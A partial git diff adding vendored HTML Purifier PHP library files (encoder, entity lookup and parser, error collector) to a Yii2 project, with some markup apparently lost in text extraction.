($in); + $mUcs4 = ($mUcs4 & 1) << 30; + $mState = 5; + $mBytes = 6; + } else { + // Current octet is neither in the US-ASCII range nor a + // legal first octet of a multi-octet sequence. + $mState = 0; + $mUcs4 = 0; + $mBytes = 1; + $char = ''; + } + } else { + // When mState is non-zero, we expect a continuation of the + // multi-octet sequence + if (0x80 == (0xC0 & ($in))) { + // Legal continuation. + $shift = ($mState - 1) * 6; + $tmp = $in; + $tmp = ($tmp & 0x0000003F) << $shift; + $mUcs4 |= $tmp; + + if (0 == --$mState) { + // End of the multi-octet sequence. mUcs4 now contains + // the final Unicode codepoint to be output + + // Check for illegal sequences and codepoints. + + // From Unicode 3.1, non-shortest form is illegal + if (((2 == $mBytes) && ($mUcs4 < 0x0080)) || + ((3 == $mBytes) && ($mUcs4 < 0x0800)) || + ((4 == $mBytes) && ($mUcs4 < 0x10000)) || + (4 < $mBytes) || + // From Unicode 3.2, surrogate characters = illegal + (($mUcs4 & 0xFFFFF800) == 0xD800) || + // Codepoints outside the Unicode range are illegal + ($mUcs4 > 0x10FFFF) + ) { + + } elseif (0xFEFF != $mUcs4 && // omit BOM + // check for valid Char unicode codepoints + ( + 0x9 == $mUcs4 || + 0xA == $mUcs4 || + 0xD == $mUcs4 || + (0x20 <= $mUcs4 && 0x7E >= $mUcs4) || + // 7F-9F is not strictly prohibited by XML, + // but it is non-SGML, and thus we don't allow it + (0xA0 <= $mUcs4 && 0xD7FF >= $mUcs4) || + (0x10000 <= $mUcs4 && 0x10FFFF >= $mUcs4) + ) + ) { + $out .= $char; + } + // initialize UTF8 cache (reset) + $mState = 0; + $mUcs4 = 0; + $mBytes = 1; + $char = ''; + } + } else { + // ((0xC0 & (*in) != 0x80) && (mState != 0)) + // Incomplete multi-octet sequence. + // used to result in complete fail, but we'll reset + $mState = 0; + $mUcs4 = 0; + $mBytes = 1; + $char =''; + } + } + } + return $out; + } + + /** + * Translates a Unicode codepoint into its corresponding UTF-8 character. + * @note Based on Feyd's function at + * , + * which is in public domain. + * @note While we're going to do code point parsing anyway, a good + * optimization would be to refuse to translate code points that + * are non-SGML characters. However, this could lead to duplication. + * @note This is very similar to the unichr function in + * maintenance/generate-entity-file.php (although this is superior, + * due to its sanity checks). + */ + + // +----------+----------+----------+----------+ + // | 33222222 | 22221111 | 111111 | | + // | 10987654 | 32109876 | 54321098 | 76543210 | bit + // +----------+----------+----------+----------+ + // | | | | 0xxxxxxx | 1 byte 0x00000000..0x0000007F + // | | | 110yyyyy | 10xxxxxx | 2 byte 0x00000080..0x000007FF + // | | 1110zzzz | 10yyyyyy | 10xxxxxx | 3 byte 0x00000800..0x0000FFFF + // | 11110www | 10wwzzzz | 10yyyyyy | 10xxxxxx | 4 byte 0x00010000..0x0010FFFF + // +----------+----------+----------+----------+ + // | 00000000 | 00011111 | 11111111 | 11111111 | Theoretical upper limit of legal scalars: 2097151 (0x001FFFFF) + // | 00000000 | 00010000 | 11111111 | 11111111 | Defined upper limit of legal scalar codes + // +----------+----------+----------+----------+ + + public static function unichr($code) + { + if ($code > 1114111 or $code < 0 or + ($code >= 55296 and $code <= 57343) ) { + // bits are set outside the "valid" range as defined + // by UNICODE 4.1.0 + return ''; + } + + $x = $y = $z = $w = 0; + if ($code < 128) { + // regular ASCII character + $x = $code; + } else { + // set up bits for UTF-8 + $x = ($code & 63) | 128; + if ($code < 2048) { + $y = (($code & 2047) >> 6) | 192; + } else { + $y = (($code & 4032) >> 6) | 128; + if ($code < 65536) { + $z = (($code >> 12) & 15) | 224; + } else { + $z = (($code >> 12) & 63) | 128; + $w = (($code >> 18) & 7) | 240; + } + } + } + // set up the actual character + $ret = ''; + if ($w) { + $ret .= chr($w); + } + if ($z) { + $ret .= chr($z); + } + if ($y) { + $ret .= chr($y); + } + $ret .= chr($x); + + return $ret; + } + + /** + * @return bool + */ + public static function iconvAvailable() + { + static $iconv = null; + if ($iconv === null) { + $iconv = function_exists('iconv') && self::testIconvTruncateBug() != self::ICONV_UNUSABLE; + } + return $iconv; + } + + /** + * Convert a string to UTF-8 based on configuration. + * @param string $str The string to convert + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return string + */ + public static function convertToUTF8($str, $config, $context) + { + $encoding = $config->get('Core.Encoding'); + if ($encoding === 'utf-8') { + return $str; + } + static $iconv = null; + if ($iconv === null) { + $iconv = self::iconvAvailable(); + } + if ($iconv && !$config->get('Test.ForceNoIconv')) { + // unaffected by bugs, since UTF-8 support all characters + $str = self::unsafeIconv($encoding, 'utf-8//IGNORE', $str); + if ($str === false) { + // $encoding is not a valid encoding + trigger_error('Invalid encoding ' . $encoding, E_USER_ERROR); + return ''; + } + // If the string is bjorked by Shift_JIS or a similar encoding + // that doesn't support all of ASCII, convert the naughty + // characters to their true byte-wise ASCII/UTF-8 equivalents. + $str = strtr($str, self::testEncodingSupportsASCII($encoding)); + return $str; + } elseif ($encoding === 'iso-8859-1') { + $str = utf8_encode($str); + return $str; + } + $bug = HTMLPurifier_Encoder::testIconvTruncateBug(); + if ($bug == self::ICONV_OK) { + trigger_error('Encoding not supported, please install iconv', E_USER_ERROR); + } else { + trigger_error( + 'You have a buggy version of iconv, see https://bugs.php.net/bug.php?id=48147 ' . + 'and http://sourceware.org/bugzilla/show_bug.cgi?id=13541', + E_USER_ERROR + ); + } + } + + /** + * Converts a string from UTF-8 based on configuration. + * @param string $str The string to convert + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return string + * @note Currently, this is a lossy conversion, with unexpressable + * characters being omitted. + */ + public static function convertFromUTF8($str, $config, $context) + { + $encoding = $config->get('Core.Encoding'); + if ($escape = $config->get('Core.EscapeNonASCIICharacters')) { + $str = self::convertToASCIIDumbLossless($str); + } + if ($encoding === 'utf-8') { + return $str; + } + static $iconv = null; + if ($iconv === null) { + $iconv = self::iconvAvailable(); + } + if ($iconv && !$config->get('Test.ForceNoIconv')) { + // Undo our previous fix in convertToUTF8, otherwise iconv will barf + $ascii_fix = self::testEncodingSupportsASCII($encoding); + if (!$escape && !empty($ascii_fix)) { + $clear_fix = array(); + foreach ($ascii_fix as $utf8 => $native) { + $clear_fix[$utf8] = ''; + } + $str = strtr($str, $clear_fix); + } + $str = strtr($str, array_flip($ascii_fix)); + // Normal stuff + $str = self::iconv('utf-8', $encoding . '//IGNORE', $str); + return $str; + } elseif ($encoding === 'iso-8859-1') { + $str = utf8_decode($str); + return $str; + } + trigger_error('Encoding not supported', E_USER_ERROR); + // You might be tempted to assume that the ASCII representation + // might be OK, however, this is *not* universally true over all + // encodings. So we take the conservative route here, rather + // than forcibly turn on %Core.EscapeNonASCIICharacters + } + + /** + * Lossless (character-wise) conversion of HTML to ASCII + * @param string $str UTF-8 string to be converted to ASCII + * @return string ASCII encoded string with non-ASCII character entity-ized + * @warning Adapted from MediaWiki, claiming fair use: this is a common + * algorithm. If you disagree with this license fudgery, + * implement it yourself. + * @note Uses decimal numeric entities since they are best supported. + * @note This is a DUMB function: it has no concept of keeping + * character entities that the projected character encoding + * can allow. We could possibly implement a smart version + * but that would require it to also know which Unicode + * codepoints the charset supported (not an easy task). + * @note Sort of with cleanUTF8() but it assumes that $str is + * well-formed UTF-8 + */ + public static function convertToASCIIDumbLossless($str) + { + $bytesleft = 0; + $result = ''; + $working = 0; + $len = strlen($str); + for ($i = 0; $i < $len; $i++) { + $bytevalue = ord($str[$i]); + if ($bytevalue <= 0x7F) { //0xxx xxxx + $result .= chr($bytevalue); + $bytesleft = 0; + } elseif ($bytevalue <= 0xBF) { //10xx xxxx + $working = $working << 6; + $working += ($bytevalue & 0x3F); + $bytesleft--; + if ($bytesleft <= 0) { + $result .= "&#" . $working . ";"; + } + } elseif ($bytevalue <= 0xDF) { //110x xxxx + $working = $bytevalue & 0x1F; + $bytesleft = 1; + } elseif ($bytevalue <= 0xEF) { //1110 xxxx + $working = $bytevalue & 0x0F; + $bytesleft = 2; + } else { //1111 0xxx + $working = $bytevalue & 0x07; + $bytesleft = 3; + } + } + return $result; + } + + /** No bugs detected in iconv. */ + const ICONV_OK = 0; + + /** Iconv truncates output if converting from UTF-8 to another + * character set with //IGNORE, and a non-encodable character is found */ + const ICONV_TRUNCATES = 1; + + /** Iconv does not support //IGNORE, making it unusable for + * transcoding purposes */ + const ICONV_UNUSABLE = 2; + + /** + * glibc iconv has a known bug where it doesn't handle the magic + * //IGNORE stanza correctly. In particular, rather than ignore + * characters, it will return an EILSEQ after consuming some number + * of characters, and expect you to restart iconv as if it were + * an E2BIG. Old versions of PHP did not respect the errno, and + * returned the fragment, so as a result you would see iconv + * mysteriously truncating output. We can work around this by + * manually chopping our input into segments of about 8000 + * characters, as long as PHP ignores the error code. If PHP starts + * paying attention to the error code, iconv becomes unusable. + * + * @return int Error code indicating severity of bug. + */ + public static function testIconvTruncateBug() + { + static $code = null; + if ($code === null) { + // better not use iconv, otherwise infinite loop! + $r = self::unsafeIconv('utf-8', 'ascii//IGNORE', "\xCE\xB1" . str_repeat('a', 9000)); + if ($r === false) { + $code = self::ICONV_UNUSABLE; + } elseif (($c = strlen($r)) < 9000) { + $code = self::ICONV_TRUNCATES; + } elseif ($c > 9000) { + trigger_error( + 'Your copy of iconv is extremely buggy. Please notify HTML Purifier maintainers: ' . + 'include your iconv version as per phpversion()', + E_USER_ERROR + ); + } else { + $code = self::ICONV_OK; + } + } + return $code; + } + + /** + * This expensive function tests whether or not a given character + * encoding supports ASCII. 7/8-bit encodings like Shift_JIS will + * fail this test, and require special processing. Variable width + * encodings shouldn't ever fail. + * + * @param string $encoding Encoding name to test, as per iconv format + * @param bool $bypass Whether or not to bypass the precompiled arrays. + * @return Array of UTF-8 characters to their corresponding ASCII, + * which can be used to "undo" any overzealous iconv action. + */ + public static function testEncodingSupportsASCII($encoding, $bypass = false) + { + // All calls to iconv here are unsafe, proof by case analysis: + // If ICONV_OK, no difference. + // If ICONV_TRUNCATE, all calls involve one character inputs, + // so bug is not triggered. + // If ICONV_UNUSABLE, this call is irrelevant + static $encodings = array(); + if (!$bypass) { + if (isset($encodings[$encoding])) { + return $encodings[$encoding]; + } + $lenc = strtolower($encoding); + switch ($lenc) { + case 'shift_jis': + return array("\xC2\xA5" => '\\', "\xE2\x80\xBE" => '~'); + case 'johab': + return array("\xE2\x82\xA9" => '\\'); + } + if (strpos($lenc, 'iso-8859-') === 0) { + return array(); + } + } + $ret = array(); + if (self::unsafeIconv('UTF-8', $encoding, 'a') === false) { + return false; + } + for ($i = 0x20; $i <= 0x7E; $i++) { // all printable ASCII chars + $c = chr($i); // UTF-8 char + $r = self::unsafeIconv('UTF-8', "$encoding//IGNORE", $c); // initial conversion + if ($r === '' || + // This line is needed for iconv implementations that do not + // omit characters that do not exist in the target character set + ($r === $c && self::unsafeIconv($encoding, 'UTF-8//IGNORE', $r) !== $c) + ) { + // Reverse engineer: what's the UTF-8 equiv of this byte + // sequence? This assumes that there's no variable width + // encoding that doesn't support ASCII. + $ret[self::unsafeIconv($encoding, 'UTF-8//IGNORE', $c)] = $c; + } + } + $encodings[$encoding] = $ret; + return $ret; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup.php new file mode 100644 index 00000000..f12ff13a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup.php @@ -0,0 +1,48 @@ +table = unserialize(file_get_contents($file)); + } + + /** + * Retrieves sole instance of the object. + * @param bool|HTMLPurifier_EntityLookup $prototype Optional prototype of custom lookup table to overload with. + * @return HTMLPurifier_EntityLookup + */ + public static function instance($prototype = false) + { + // no references, since PHP doesn't copy unless modified + static $instance = null; + if ($prototype) { + $instance = $prototype; + } elseif (!$instance) { + $instance = new HTMLPurifier_EntityLookup(); + $instance->setup(); + } + return $instance; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup/entities.ser b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup/entities.ser new file mode 100644 index 00000000..e8b08128 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup/entities.ser @@ -0,0 +1 @@ +a:253:{s:4:"fnof";s:2:"ƒ";s:5:"Alpha";s:2:"Α";s:4:"Beta";s:2:"Β";s:5:"Gamma";s:2:"Γ";s:5:"Delta";s:2:"Δ";s:7:"Epsilon";s:2:"Ε";s:4:"Zeta";s:2:"Ζ";s:3:"Eta";s:2:"Η";s:5:"Theta";s:2:"Θ";s:4:"Iota";s:2:"Ι";s:5:"Kappa";s:2:"Κ";s:6:"Lambda";s:2:"Λ";s:2:"Mu";s:2:"Μ";s:2:"Nu";s:2:"Ν";s:2:"Xi";s:2:"Ξ";s:7:"Omicron";s:2:"Ο";s:2:"Pi";s:2:"Π";s:3:"Rho";s:2:"Ρ";s:5:"Sigma";s:2:"Σ";s:3:"Tau";s:2:"Τ";s:7:"Upsilon";s:2:"Υ";s:3:"Phi";s:2:"Φ";s:3:"Chi";s:2:"Χ";s:3:"Psi";s:2:"Ψ";s:5:"Omega";s:2:"Ω";s:5:"alpha";s:2:"α";s:4:"beta";s:2:"β";s:5:"gamma";s:2:"γ";s:5:"delta";s:2:"δ";s:7:"epsilon";s:2:"ε";s:4:"zeta";s:2:"ζ";s:3:"eta";s:2:"η";s:5:"theta";s:2:"θ";s:4:"iota";s:2:"ι";s:5:"kappa";s:2:"κ";s:6:"lambda";s:2:"λ";s:2:"mu";s:2:"μ";s:2:"nu";s:2:"ν";s:2:"xi";s:2:"ξ";s:7:"omicron";s:2:"ο";s:2:"pi";s:2:"π";s:3:"rho";s:2:"ρ";s:6:"sigmaf";s:2:"ς";s:5:"sigma";s:2:"σ";s:3:"tau";s:2:"τ";s:7:"upsilon";s:2:"υ";s:3:"phi";s:2:"φ";s:3:"chi";s:2:"χ";s:3:"psi";s:2:"ψ";s:5:"omega";s:2:"ω";s:8:"thetasym";s:2:"ϑ";s:5:"upsih";s:2:"ϒ";s:3:"piv";s:2:"ϖ";s:4:"bull";s:3:"•";s:6:"hellip";s:3:"…";s:5:"prime";s:3:"′";s:5:"Prime";s:3:"″";s:5:"oline";s:3:"‾";s:5:"frasl";s:3:"⁄";s:6:"weierp";s:3:"℘";s:5:"image";s:3:"ℑ";s:4:"real";s:3:"ℜ";s:5:"trade";s:3:"™";s:7:"alefsym";s:3:"ℵ";s:4:"larr";s:3:"←";s:4:"uarr";s:3:"↑";s:4:"rarr";s:3:"→";s:4:"darr";s:3:"↓";s:4:"harr";s:3:"↔";s:5:"crarr";s:3:"↵";s:4:"lArr";s:3:"⇐";s:4:"uArr";s:3:"⇑";s:4:"rArr";s:3:"⇒";s:4:"dArr";s:3:"⇓";s:4:"hArr";s:3:"⇔";s:6:"forall";s:3:"∀";s:4:"part";s:3:"∂";s:5:"exist";s:3:"∃";s:5:"empty";s:3:"∅";s:5:"nabla";s:3:"∇";s:4:"isin";s:3:"∈";s:5:"notin";s:3:"∉";s:2:"ni";s:3:"∋";s:4:"prod";s:3:"∏";s:3:"sum";s:3:"∑";s:5:"minus";s:3:"−";s:6:"lowast";s:3:"∗";s:5:"radic";s:3:"√";s:4:"prop";s:3:"∝";s:5:"infin";s:3:"∞";s:3:"ang";s:3:"∠";s:3:"and";s:3:"∧";s:2:"or";s:3:"∨";s:3:"cap";s:3:"∩";s:3:"cup";s:3:"∪";s:3:"int";s:3:"∫";s:6:"there4";s:3:"∴";s:3:"sim";s:3:"∼";s:4:"cong";s:3:"≅";s:5:"asymp";s:3:"≈";s:2:"ne";s:3:"≠";s:5:"equiv";s:3:"≡";s:2:"le";s:3:"≤";s:2:"ge";s:3:"≥";s:3:"sub";s:3:"⊂";s:3:"sup";s:3:"⊃";s:4:"nsub";s:3:"⊄";s:4:"sube";s:3:"⊆";s:4:"supe";s:3:"⊇";s:5:"oplus";s:3:"⊕";s:6:"otimes";s:3:"⊗";s:4:"perp";s:3:"⊥";s:4:"sdot";s:3:"⋅";s:5:"lceil";s:3:"⌈";s:5:"rceil";s:3:"⌉";s:6:"lfloor";s:3:"⌊";s:6:"rfloor";s:3:"⌋";s:4:"lang";s:3:"〈";s:4:"rang";s:3:"〉";s:3:"loz";s:3:"◊";s:6:"spades";s:3:"♠";s:5:"clubs";s:3:"♣";s:6:"hearts";s:3:"♥";s:5:"diams";s:3:"♦";s:4:"quot";s:1:""";s:3:"amp";s:1:"&";s:2:"lt";s:1:"<";s:2:"gt";s:1:">";s:4:"apos";s:1:"'";s:5:"OElig";s:2:"Œ";s:5:"oelig";s:2:"œ";s:6:"Scaron";s:2:"Š";s:6:"scaron";s:2:"š";s:4:"Yuml";s:2:"Ÿ";s:4:"circ";s:2:"ˆ";s:5:"tilde";s:2:"˜";s:4:"ensp";s:3:" ";s:4:"emsp";s:3:" ";s:6:"thinsp";s:3:" ";s:4:"zwnj";s:3:"‌";s:3:"zwj";s:3:"‍";s:3:"lrm";s:3:"‎";s:3:"rlm";s:3:"‏";s:5:"ndash";s:3:"–";s:5:"mdash";s:3:"—";s:5:"lsquo";s:3:"‘";s:5:"rsquo";s:3:"’";s:5:"sbquo";s:3:"‚";s:5:"ldquo";s:3:"“";s:5:"rdquo";s:3:"”";s:5:"bdquo";s:3:"„";s:6:"dagger";s:3:"†";s:6:"Dagger";s:3:"‡";s:6:"permil";s:3:"‰";s:6:"lsaquo";s:3:"‹";s:6:"rsaquo";s:3:"›";s:4:"euro";s:3:"€";s:4:"nbsp";s:2:" ";s:5:"iexcl";s:2:"¡";s:4:"cent";s:2:"¢";s:5:"pound";s:2:"£";s:6:"curren";s:2:"¤";s:3:"yen";s:2:"¥";s:6:"brvbar";s:2:"¦";s:4:"sect";s:2:"§";s:3:"uml";s:2:"¨";s:4:"copy";s:2:"©";s:4:"ordf";s:2:"ª";s:5:"laquo";s:2:"«";s:3:"not";s:2:"¬";s:3:"shy";s:2:"­";s:3:"reg";s:2:"®";s:4:"macr";s:2:"¯";s:3:"deg";s:2:"°";s:6:"plusmn";s:2:"±";s:4:"sup2";s:2:"²";s:4:"sup3";s:2:"³";s:5:"acute";s:2:"´";s:5:"micro";s:2:"µ";s:4:"para";s:2:"¶";s:6:"middot";s:2:"·";s:5:"cedil";s:2:"¸";s:4:"sup1";s:2:"¹";s:4:"ordm";s:2:"º";s:5:"raquo";s:2:"»";s:6:"frac14";s:2:"¼";s:6:"frac12";s:2:"½";s:6:"frac34";s:2:"¾";s:6:"iquest";s:2:"¿";s:6:"Agrave";s:2:"À";s:6:"Aacute";s:2:"Á";s:5:"Acirc";s:2:"Â";s:6:"Atilde";s:2:"Ã";s:4:"Auml";s:2:"Ä";s:5:"Aring";s:2:"Å";s:5:"AElig";s:2:"Æ";s:6:"Ccedil";s:2:"Ç";s:6:"Egrave";s:2:"È";s:6:"Eacute";s:2:"É";s:5:"Ecirc";s:2:"Ê";s:4:"Euml";s:2:"Ë";s:6:"Igrave";s:2:"Ì";s:6:"Iacute";s:2:"Í";s:5:"Icirc";s:2:"Î";s:4:"Iuml";s:2:"Ï";s:3:"ETH";s:2:"Ð";s:6:"Ntilde";s:2:"Ñ";s:6:"Ograve";s:2:"Ò";s:6:"Oacute";s:2:"Ó";s:5:"Ocirc";s:2:"Ô";s:6:"Otilde";s:2:"Õ";s:4:"Ouml";s:2:"Ö";s:5:"times";s:2:"×";s:6:"Oslash";s:2:"Ø";s:6:"Ugrave";s:2:"Ù";s:6:"Uacute";s:2:"Ú";s:5:"Ucirc";s:2:"Û";s:4:"Uuml";s:2:"Ü";s:6:"Yacute";s:2:"Ý";s:5:"THORN";s:2:"Þ";s:5:"szlig";s:2:"ß";s:6:"agrave";s:2:"à";s:6:"aacute";s:2:"á";s:5:"acirc";s:2:"â";s:6:"atilde";s:2:"ã";s:4:"auml";s:2:"ä";s:5:"aring";s:2:"å";s:5:"aelig";s:2:"æ";s:6:"ccedil";s:2:"ç";s:6:"egrave";s:2:"è";s:6:"eacute";s:2:"é";s:5:"ecirc";s:2:"ê";s:4:"euml";s:2:"ë";s:6:"igrave";s:2:"ì";s:6:"iacute";s:2:"í";s:5:"icirc";s:2:"î";s:4:"iuml";s:2:"ï";s:3:"eth";s:2:"ð";s:6:"ntilde";s:2:"ñ";s:6:"ograve";s:2:"ò";s:6:"oacute";s:2:"ó";s:5:"ocirc";s:2:"ô";s:6:"otilde";s:2:"õ";s:4:"ouml";s:2:"ö";s:6:"divide";s:2:"÷";s:6:"oslash";s:2:"ø";s:6:"ugrave";s:2:"ù";s:6:"uacute";s:2:"ú";s:5:"ucirc";s:2:"û";s:4:"uuml";s:2:"ü";s:6:"yacute";s:2:"ý";s:5:"thorn";s:2:"þ";s:4:"yuml";s:2:"ÿ";} \ No newline at end of file diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityParser.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityParser.php new file mode 100644 index 00000000..61529dcd --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityParser.php @@ -0,0 +1,153 @@ + '"', + 38 => '&', + 39 => "'", + 60 => '<', + 62 => '>' + ); + + /** + * Stripped entity names to decimal conversion table for special entities. + * @type array + */ + protected $_special_ent2dec = + array( + 'quot' => 34, + 'amp' => 38, + 'lt' => 60, + 'gt' => 62 + ); + + /** + * Substitutes non-special entities with their parsed equivalents. Since + * running this whenever you have parsed character is t3h 5uck, we run + * it before everything else. + * + * @param string $string String to have non-special entities parsed. + * @return string Parsed string. + */ + public function substituteNonSpecialEntities($string) + { + // it will try to detect missing semicolons, but don't rely on it + return preg_replace_callback( + $this->_substituteEntitiesRegex, + array($this, 'nonSpecialEntityCallback'), + $string + ); + } + + /** + * Callback function for substituteNonSpecialEntities() that does the work. + * + * @param array $matches PCRE matches array, with 0 the entire match, and + * either index 1, 2 or 3 set with a hex value, dec value, + * or string (respectively). + * @return string Replacement string. + */ + + protected function nonSpecialEntityCallback($matches) + { + // replaces all but big five + $entity = $matches[0]; + $is_num = (@$matches[0][1] === '#'); + if ($is_num) { + $is_hex = (@$entity[2] === 'x'); + $code = $is_hex ? hexdec($matches[1]) : (int) $matches[2]; + // abort for special characters + if (isset($this->_special_dec2str[$code])) { + return $entity; + } + return HTMLPurifier_Encoder::unichr($code); + } else { + if (isset($this->_special_ent2dec[$matches[3]])) { + return $entity; + } + if (!$this->_entity_lookup) { + $this->_entity_lookup = HTMLPurifier_EntityLookup::instance(); + } + if (isset($this->_entity_lookup->table[$matches[3]])) { + return $this->_entity_lookup->table[$matches[3]]; + } else { + return $entity; + } + } + } + + /** + * Substitutes only special entities with their parsed equivalents. + * + * @notice We try to avoid calling this function because otherwise, it + * would have to be called a lot (for every parsed section). + * + * @param string $string String to have non-special entities parsed. + * @return string Parsed string. + */ + public function substituteSpecialEntities($string) + { + return preg_replace_callback( + $this->_substituteEntitiesRegex, + array($this, 'specialEntityCallback'), + $string + ); + } + + /** + * Callback function for substituteSpecialEntities() that does the work. + * + * This callback has same syntax as nonSpecialEntityCallback(). + * + * @param array $matches PCRE-style matches array, with 0 the entire match, and + * either index 1, 2 or 3 set with a hex value, dec value, + * or string (respectively). + * @return string Replacement string. + */ + protected function specialEntityCallback($matches) + { + $entity = $matches[0]; + $is_num = (@$matches[0][1] === '#'); + if ($is_num) { + $is_hex = (@$entity[2] === 'x'); + $int = $is_hex ? hexdec($matches[1]) : (int) $matches[2]; + return isset($this->_special_dec2str[$int]) ? + $this->_special_dec2str[$int] : + $entity; + } else { + return isset($this->_special_ent2dec[$matches[3]]) ? + $this->_special_ent2dec[$matches[3]] : + $entity; + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ErrorCollector.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ErrorCollector.php new file mode 100644 index 00000000..d47e3f2e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ErrorCollector.php @@ -0,0 +1,244 @@ +locale =& $context->get('Locale'); + $this->context = $context; + $this->_current =& $this->_stacks[0]; + $this->errors =& $this->_stacks[0]; + } + + /** + * Sends an error message to the collector for later use + * @param int $severity Error severity, PHP error style (don't use E_USER_) + * @param string $msg Error message text + */ + public function send($severity, $msg) + { + $args = array(); + if (func_num_args() > 2) { + $args = func_get_args(); + array_shift($args); + unset($args[0]); + } + + $token = $this->context->get('CurrentToken', true); + $line = $token ? $token->line : $this->context->get('CurrentLine', true); + $col = $token ? $token->col : $this->context->get('CurrentCol', true); + $attr = $this->context->get('CurrentAttr', true); + + // perform special substitutions, also add custom parameters + $subst = array(); + if (!is_null($token)) { + $args['CurrentToken'] = $token; + } + if (!is_null($attr)) { + $subst['$CurrentAttr.Name'] = $attr; + if (isset($token->attr[$attr])) { + $subst['$CurrentAttr.Value'] = $token->attr[$attr]; + } + } + + if (empty($args)) { + $msg = $this->locale->getMessage($msg); + } else { + $msg = $this->locale->formatMessage($msg, $args); + } + + if (!empty($subst)) { + $msg = strtr($msg, $subst); + } + + // (numerically indexed) + $error = array( + self::LINENO => $line, + self::SEVERITY => $severity, + self::MESSAGE => $msg, + self::CHILDREN => array() + ); + $this->_current[] = $error; + + // NEW CODE BELOW ... + // Top-level errors are either: + // TOKEN type, if $value is set appropriately, or + // "syntax" type, if $value is null + $new_struct = new HTMLPurifier_ErrorStruct(); + $new_struct->type = HTMLPurifier_ErrorStruct::TOKEN; + if ($token) { + $new_struct->value = clone $token; + } + if (is_int($line) && is_int($col)) { + if (isset($this->lines[$line][$col])) { + $struct = $this->lines[$line][$col]; + } else { + $struct = $this->lines[$line][$col] = $new_struct; + } + // These ksorts may present a performance problem + ksort($this->lines[$line], SORT_NUMERIC); + } else { + if (isset($this->lines[-1])) { + $struct = $this->lines[-1]; + } else { + $struct = $this->lines[-1] = $new_struct; + } + } + ksort($this->lines, SORT_NUMERIC); + + // Now, check if we need to operate on a lower structure + if (!empty($attr)) { + $struct = $struct->getChild(HTMLPurifier_ErrorStruct::ATTR, $attr); + if (!$struct->value) { + $struct->value = array($attr, 'PUT VALUE HERE'); + } + } + if (!empty($cssprop)) { + $struct = $struct->getChild(HTMLPurifier_ErrorStruct::CSSPROP, $cssprop); + if (!$struct->value) { + // if we tokenize CSS this might be a little more difficult to do + $struct->value = array($cssprop, 'PUT VALUE HERE'); + } + } + + // Ok, structs are all setup, now time to register the error + $struct->addError($severity, $msg); + } + + /** + * Retrieves raw error data for custom formatter to use + */ + public function getRaw() + { + return $this->errors; + } + + /** + * Default HTML formatting implementation for error messages + * @param HTMLPurifier_Config $config Configuration, vital for HTML output nature + * @param array $errors Errors array to display; used for recursion. + * @return string + */ + public function getHTMLFormatted($config, $errors = null) + { + $ret = array(); + + $this->generator = new HTMLPurifier_Generator($config, $this->context); + if ($errors === null) { + $errors = $this->errors; + } + + // 'At line' message needs to be removed + + // generation code for new structure goes here. It needs to be recursive. + foreach ($this->lines as $line => $col_array) { + if ($line == -1) { + continue; + } + foreach ($col_array as $col => $struct) { + $this->_renderStruct($ret, $struct, $line, $col); + } + } + if (isset($this->lines[-1])) { + $this->_renderStruct($ret, $this->lines[-1]); + } + + if (empty($errors)) { + return '

        ' . $this->locale->getMessage('ErrorCollector: No errors') . '

        '; + } else { + return '
        • ' . implode('
        • ', $ret) . '
        '; + } + + } + + private function _renderStruct(&$ret, $struct, $line = null, $col = null) + { + $stack = array($struct); + $context_stack = array(array()); + while ($current = array_pop($stack)) { + $context = array_pop($context_stack); + foreach ($current->errors as $error) { + list($severity, $msg) = $error; + $string = ''; + $string .= '
        '; + // W3C uses an icon to indicate the severity of the error. + $error = $this->locale->getErrorName($severity); + $string .= "$error "; + if (!is_null($line) && !is_null($col)) { + $string .= "Line $line, Column $col: "; + } else { + $string .= 'End of Document: '; + } + $string .= '' . $this->generator->escape($msg) . ' '; + $string .= '
        '; + // Here, have a marker for the character on the column appropriate. + // Be sure to clip extremely long lines. + //$string .= '
        ';
        +                //$string .= '';
        +                //$string .= '
        '; + $ret[] = $string; + } + foreach ($current->children as $array) { + $context[] = $current; + $stack = array_merge($stack, array_reverse($array, true)); + for ($i = count($array); $i > 0; $i--) { + $context_stack[] = $context; + } + } + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ErrorStruct.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ErrorStruct.php new file mode 100644 index 00000000..cf869d32 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ErrorStruct.php @@ -0,0 +1,74 @@ +children[$type][$id])) { + $this->children[$type][$id] = new HTMLPurifier_ErrorStruct(); + $this->children[$type][$id]->type = $type; + } + return $this->children[$type][$id]; + } + + /** + * @param int $severity + * @param string $message + */ + public function addError($severity, $message) + { + $this->errors[] = array($severity, $message); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Exception.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Exception.php new file mode 100644 index 00000000..be85b4c5 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Exception.php @@ -0,0 +1,12 @@ +preFilter, + * 2->preFilter, 3->preFilter, purify, 3->postFilter, 2->postFilter, + * 1->postFilter. + * + * @note 